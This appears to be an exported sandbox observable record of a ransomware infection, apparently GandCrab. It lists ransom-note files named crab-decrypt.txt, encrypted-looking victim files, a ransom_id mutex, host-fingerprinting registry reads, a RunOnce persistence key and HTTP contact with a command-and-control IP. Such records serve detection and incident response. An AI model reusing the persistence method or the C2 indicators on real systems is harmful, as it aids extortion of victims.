users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
c:\
c:\users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
blf
File
users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
c:\
c:\users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
regtrans-ms
File
users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
c:\
c:\users\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
regtrans-ms
File
users\default\pictures\crab-decrypt.txt
users\default\pictures\crab-decrypt.txt
c:\
c:\users\default\pictures\crab-decrypt.txt
txt
File
users\default\printhood\crab-decrypt.txt
users\default\printhood\crab-decrypt.txt
c:\
c:\users\default\printhood\crab-decrypt.txt
txt
File
users\default\recent\crab-decrypt.txt
users\default\recent\crab-decrypt.txt
c:\
c:\users\default\recent\crab-decrypt.txt
txt
File
users\default\saved games\crab-decrypt.txt
users\default\saved games\crab-decrypt.txt
c:\
c:\users\default\saved games\crab-decrypt.txt
txt
File
users\default\sendto\crab-decrypt.txt
users\default\sendto\crab-decrypt.txt
c:\
c:\users\default\sendto\crab-decrypt.txt
txt
File
users\default\start menu\crab-decrypt.txt
users\default\start menu\crab-decrypt.txt
c:\
c:\users\default\start menu\crab-decrypt.txt
txt
File
users\default\templates\crab-decrypt.txt
users\default\templates\crab-decrypt.txt
c:\
c:\users\default\templates\crab-decrypt.txt
txt
File
users\default\videos\crab-decrypt.txt
users\default\videos\crab-decrypt.txt
c:\
c:\users\default\videos\crab-decrypt.txt
txt
File
users\default user\crab-decrypt.txt
users\default user\crab-decrypt.txt
c:\
c:\users\default user\crab-decrypt.txt
txt
File
fuhonll.swf
fuhonll.swf
z:\
z:\fuhonll.swf
swf
File
brgvknp3ivgppx.pps
brgvknp3ivgppx.pps
z:\
z:\brgvknp3ivgppx.pps
pps
File
pcejlbmpwz68qnswdvwo.mp4
pcejlbmpwz68qnswdvwo.mp4
z:\
z:\pcejlbmpwz68qnswdvwo.mp4
mp4
File
zp0nkisr4oluznv8y.pptx
zp0nkisr4oluznv8y.pptx
z:\
z:\zp0nkisr4oluznv8y.pptx
pptx
File
dr2hdhxm7a.xls
dr2hdhxm7a.xls
z:\
z:\dr2hdhxm7a.xls
xls
File
0uow8idio9c0q.jpg
0uow8idio9c0q.jpg
z:\
z:\0uow8idio9c0q.jpg
jpg
File
ctwtfuqdhyq9b0.flv
ctwtfuqdhyq9b0.flv
z:\
z:\ctwtfuqdhyq9b0.flv
flv
File
wwwtimqjx6hy7aqmcqrc.rtf
wwwtimqjx6hy7aqmcqrc.rtf
z:\
z:\wwwtimqjx6hy7aqmcqrc.rtf
rtf
File
zluez8vfu.ppt
zluez8vfu.ppt
z:\
z:\zluez8vfu.ppt
ppt
File
aekhmjrncdyuq.ots
aekhmjrncdyuq.ots
z:\
z:\aekhmjrncdyuq.ots
ots
File
usc0a0c3qarsfv.docx
usc0a0c3qarsfv.docx
z:\
z:\usc0a0c3qarsfv.docx
docx
File
ft1mon1cic.pdf
ft1mon1cic.pdf
z:\
z:\ft1mon1cic.pdf
pdf
File
1tal0c72jxkgj.docx
1tal0c72jxkgj.docx
z:\
z:\1tal0c72jxkgj.docx
docx
File
emullyjgntq8y.odt
emullyjgntq8y.odt
z:\
z:\emullyjgntq8y.odt
odt
File
fjjnxlzpfciol7n8l.pps
fjjnxlzpfciol7n8l.pps
z:\
z:\fjjnxlzpfciol7n8l.pps
pps
File
hjowyab7yq2odleyn.avi
hjowyab7yq2odleyn.avi
z:\
z:\hjowyab7yq2odleyn.avi
avi
File
zcris.ppt
zcris.ppt
z:\
z:\zcris.ppt
ppt
File
petobmgpdvk4c2adw.csv
petobmgpdvk4c2adw.csv
z:\
z:\petobmgpdvk4c2adw.csv
csv
File
sei0k8sznqel5.avi
sei0k8sznqel5.avi
z:\
z:\sei0k8sznqel5.avi
avi
File
oxr639hn3x86bhd.avi
oxr639hn3x86bhd.avi
z:\
z:\oxr639hn3x86bhd.avi
avi
Mutex
Global\pc_group=WORKGROUP&ransom_id=58de2295a283c81
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
Control Panel\International
HKEY_CURRENT_USER
LocaleName
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
1
WinRegistryKey
SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE
productName
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
2
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER
yczsdfarmlf
"C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
REG_SZ
SocketAddress
ipv4bot.whatismyipaddress.com
80
NetworkConnection
HTTP
ipv4bot.whatismyipaddress.com
80
SocketAddress
77.244.219.151
80
NetworkConnection
HTTP
77.244.219.151
80
URI
ipv4bot.whatismyipaddress.com/
Contains
URI
77.244.219.151/seyst
Contains
WinRegistryKey
System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
DNSLookupOrder
Domain
DhcpDomain
SearchList
DhcpSearchList
DNSLookupOrder
Domain
DhcpDomain
SearchList
DhcpSearchList
DNSLookupOrder
Domain
DhcpDomain
SearchList
DhcpSearchList
WinRegistryKey
Software\Policies\Microsoft\Windows NT\DNSClient
HKEY_LOCAL_MACHINE
DNSRecord
ns1.virmach.ru
File
STD_INPUT_HANDLE
File
STD_OUTPUT_HANDLE
File
STD_ERROR_HANDLE
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\places.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\pluginreg.dat
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\pluginreg.dat
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\pluginreg.dat
dat
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\prefs.js
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\prefs.js
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\prefs.js
js
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\321b9820-ddf0-4472-8833-27c2104c93fa
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\321b9820-ddf0-4472-8833-27c2104c93fa
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\saved-telemetry-pings\321b9820-ddf0-4472-8833-27c2104c93fa
default\saved-telemetry-pings\321b9820-ddf0-4472-8833-27c2104c93fa
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\search.json.mozlz4
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\search.json.mozlz4
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\search.json.mozlz4
mozlz4
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\secmod.db
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\secmod.db
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\secmod.db
db
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessioncheckpoints.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessioncheckpoints.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessioncheckpoints.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\previous.js
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\previous.js
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\previous.js
js
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\upgrade.js-20170814072924
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\upgrade.js-20170814072924
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore-backups\upgrade.js-20170814072924
js-20170814072924
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore.js
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore.js
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sessionstore.js
js
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sitesecurityservicestate.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sitesecurityservicestate.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\sitesecurityservicestate.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata
metadata
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata-v2
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata-v2
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\.metadata-v2
metadata-v2
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.files\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.files\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.files\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata
metadata
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata-v2
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata-v2
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\.metadata-v2
metadata-v2
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\storage.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\times.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\times.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\times.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\webappsstore.sqlite
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\webappsstore.sqlite
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\webappsstore.sqlite
sqlite
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\xulstore.json
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\xulstore.json
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles\i6gc44p4.default\xulstore.json
json
File
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles.ini
users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles.ini
c:\
c:\users\nd9e1fyi\appdata\roaming\mozilla\firefox\profiles.ini
ini
File
users\nd9e1fyi\appdata\roaming\nzzfbrffu.gif
users\nd9e1fyi\appdata\roaming\nzzfbrffu.gif
c:\
c:\users\nd9e1fyi\appdata\roaming\nzzfbrffu.gif
gif
File
users\nd9e1fyi\appdata\roaming\qo6c.pdf
users\nd9e1fyi\appdata\roaming\qo6c.pdf
c:\
c:\users\nd9e1fyi\appdata\roaming\qo6c.pdf
pdf
File
users\nd9e1fyi\appdata\roaming\skype\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\skype\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\skype\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\skype\roottools\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\skype\roottools\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\skype\roottools\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\skype\roottools\roottools.conf
users\nd9e1fyi\appdata\roaming\skype\roottools\roottools.conf
c:\
c:\users\nd9e1fyi\appdata\roaming\skype\roottools\roottools.conf
conf
File
users\nd9e1fyi\appdata\roaming\slivwnivhi-acv9kyt.wav
users\nd9e1fyi\appdata\roaming\slivwnivhi-acv9kyt.wav
c:\
c:\users\nd9e1fyi\appdata\roaming\slivwnivhi-acv9kyt.wav
wav
File
users\nd9e1fyi\appdata\roaming\soc9hfgjfdrl.mp4
users\nd9e1fyi\appdata\roaming\soc9hfgjfdrl.mp4
c:\
c:\users\nd9e1fyi\appdata\roaming\soc9hfgjfdrl.mp4
mp4
File
users\nd9e1fyi\appdata\roaming\sswxjnjmpxpjy0rsh1p_.ots
users\nd9e1fyi\appdata\roaming\sswxjnjmpxpjy0rsh1p_.ots
c:\
c:\users\nd9e1fyi\appdata\roaming\sswxjnjmpxpjy0rsh1p_.ots
ots
File
users\nd9e1fyi\appdata\roaming\sun\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\sun\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\sun\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\sun\java\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\sun\java\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\sun\java\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\sun\java\deployment\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\sun\java\deployment\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\sun\java\deployment\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roaming\tjzrr99g_04.bmp
users\nd9e1fyi\appdata\roaming\tjzrr99g_04.bmp
c:\
c:\users\nd9e1fyi\appdata\roaming\tjzrr99g_04.bmp
bmp
File
users\nd9e1fyi\appdata\roaming\u1cywkmqhifnmv.png
users\nd9e1fyi\appdata\roaming\u1cywkmqhifnmv.png
c:\
c:\users\nd9e1fyi\appdata\roaming\u1cywkmqhifnmv.png
png
File
users\nd9e1fyi\appdata\roaming\vjp1qxgfwrfh.mp3
users\nd9e1fyi\appdata\roaming\vjp1qxgfwrfh.mp3
c:\
c:\users\nd9e1fyi\appdata\roaming\vjp1qxgfwrfh.mp3
mp3
File
users\nd9e1fyi\appdata\roaming\w02iz8w8.pptx
users\nd9e1fyi\appdata\roaming\w02iz8w8.pptx
c:\
c:\users\nd9e1fyi\appdata\roaming\w02iz8w8.pptx
pptx
File
users\nd9e1fyi\appdata\roaming\wblnf.xls
users\nd9e1fyi\appdata\roaming\wblnf.xls
c:\
c:\users\nd9e1fyi\appdata\roaming\wblnf.xls
xls
File
users\nd9e1fyi\appdata\roaming\wj1qed.flv
users\nd9e1fyi\appdata\roaming\wj1qed.flv
c:\
c:\users\nd9e1fyi\appdata\roaming\wj1qed.flv
flv
File
users\nd9e1fyi\appdata\roaming\wspnyxl.mkv
users\nd9e1fyi\appdata\roaming\wspnyxl.mkv
c:\
c:\users\nd9e1fyi\appdata\roaming\wspnyxl.mkv
mkv
File
users\nd9e1fyi\appdata\roaming\wzyb.xlsx
users\nd9e1fyi\appdata\roaming\wzyb.xlsx
c:\
c:\users\nd9e1fyi\appdata\roaming\wzyb.xlsx
xlsx
File
users\nd9e1fyi\appdata\roaming\xvxrku.wav
users\nd9e1fyi\appdata\roaming\xvxrku.wav
c:\
c:\users\nd9e1fyi\appdata\roaming\xvxrku.wav
wav
File
users\nd9e1fyi\appdata\roaming\ye-zc9.docx
users\nd9e1fyi\appdata\roaming\ye-zc9.docx
c:\
c:\users\nd9e1fyi\appdata\roaming\ye-zc9.docx
docx
File
users\nd9e1fyi\contacts\crab-decrypt.txt
users\nd9e1fyi\contacts\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\contacts\crab-decrypt.txt
txt
File
users\nd9e1fyi\cookies\crab-decrypt.txt
users\nd9e1fyi\cookies\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\cookies\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\crab-decrypt.txt
users\nd9e1fyi\desktop\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\1bpdeojny.mkv
users\nd9e1fyi\desktop\1bpdeojny.mkv
c:\
c:\users\nd9e1fyi\desktop\1bpdeojny.mkv
mkv
File
users\nd9e1fyi\desktop\8ang45s-m.png
users\nd9e1fyi\desktop\8ang45s-m.png
c:\
c:\users\nd9e1fyi\desktop\8ang45s-m.png
png
File
users\nd9e1fyi\desktop\a 9oefy3.jpg
users\nd9e1fyi\desktop\a 9oefy3.jpg
c:\
c:\users\nd9e1fyi\desktop\a 9oefy3.jpg
jpg
File
users\nd9e1fyi\desktop\a-llcbqkno0rjg2z.mp4
users\nd9e1fyi\desktop\a-llcbqkno0rjg2z.mp4
c:\
c:\users\nd9e1fyi\desktop\a-llcbqkno0rjg2z.mp4
mp4
File
users\nd9e1fyi\desktop\au9hr3twsx8g2051qzl.mp3
users\nd9e1fyi\desktop\au9hr3twsx8g2051qzl.mp3
c:\
c:\users\nd9e1fyi\desktop\au9hr3twsx8g2051qzl.mp3
mp3
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\crab-decrypt.txt
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\crab-decrypt.txt
txt
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2ku40ft5jilta3q.ots
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2ku40ft5jilta3q.ots
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2ku40ft5jilta3q.ots
ots
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2yagpcprwdkgc2scr.m4a
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2yagpcprwdkgc2scr.m4a
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\2yagpcprwdkgc2scr.m4a
m4a
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\h4pimh4sgk50.swf
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\h4pimh4sgk50.swf
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\h4pimh4sgk50.swf
swf
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\iay8bin_ck.gif
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\iay8bin_ck.gif
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\iay8bin_ck.gif
gif
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\lixrrd6cn_idgm01kx.m4a
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\lixrrd6cn_idgm01kx.m4a
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\lixrrd6cn_idgm01kx.m4a
m4a
File
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\vfrebvj.gif
users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\vfrebvj.gif
c:\
c:\users\nd9e1fyi\desktop\blmcr9lso0w4rdxay08\vfrebvj.gif
gif
File
users\nd9e1fyi\desktop\bprz1ozfvy6fdl.wav
users\nd9e1fyi\desktop\bprz1ozfvy6fdl.wav
c:\
c:\users\nd9e1fyi\desktop\bprz1ozfvy6fdl.wav
wav
File
users\nd9e1fyi\desktop\cbgy__kii3.xlsx
users\nd9e1fyi\desktop\cbgy__kii3.xlsx
c:\
c:\users\nd9e1fyi\desktop\cbgy__kii3.xlsx
xlsx
File
users\nd9e1fyi\desktop\dh6vau4orbb.gif
users\nd9e1fyi\desktop\dh6vau4orbb.gif
c:\
c:\users\nd9e1fyi\desktop\dh6vau4orbb.gif
gif
File
users\nd9e1fyi\desktop\doc6131166051-pdf.js
users\nd9e1fyi\desktop\doc6131166051-pdf.js
c:\
c:\users\nd9e1fyi\desktop\doc6131166051-pdf.js
js
File
users\nd9e1fyi\desktop\duyji_5dnwcjktekrn.bmp
users\nd9e1fyi\desktop\duyji_5dnwcjktekrn.bmp
c:\
c:\users\nd9e1fyi\desktop\duyji_5dnwcjktekrn.bmp
bmp
File
users\nd9e1fyi\desktop\excxexgnr8.bmp
users\nd9e1fyi\desktop\excxexgnr8.bmp
c:\
c:\users\nd9e1fyi\desktop\excxexgnr8.bmp
bmp
File
users\nd9e1fyi\desktop\fgn1g2a5l35dban.avi
users\nd9e1fyi\desktop\fgn1g2a5l35dban.avi
c:\
c:\users\nd9e1fyi\desktop\fgn1g2a5l35dban.avi
avi
File
users\nd9e1fyi\desktop\fxuvkmkkjla0u3uo.wav
users\nd9e1fyi\desktop\fxuvkmkkjla0u3uo.wav
c:\
c:\users\nd9e1fyi\desktop\fxuvkmkkjla0u3uo.wav
wav
File
users\nd9e1fyi\desktop\gqz9z2t2-t6sbfh.ods
users\nd9e1fyi\desktop\gqz9z2t2-t6sbfh.ods
c:\
c:\users\nd9e1fyi\desktop\gqz9z2t2-t6sbfh.ods
ods
File
users\nd9e1fyi\desktop\grvnye2a_g.m4a
users\nd9e1fyi\desktop\grvnye2a_g.m4a
c:\
c:\users\nd9e1fyi\desktop\grvnye2a_g.m4a
m4a
File
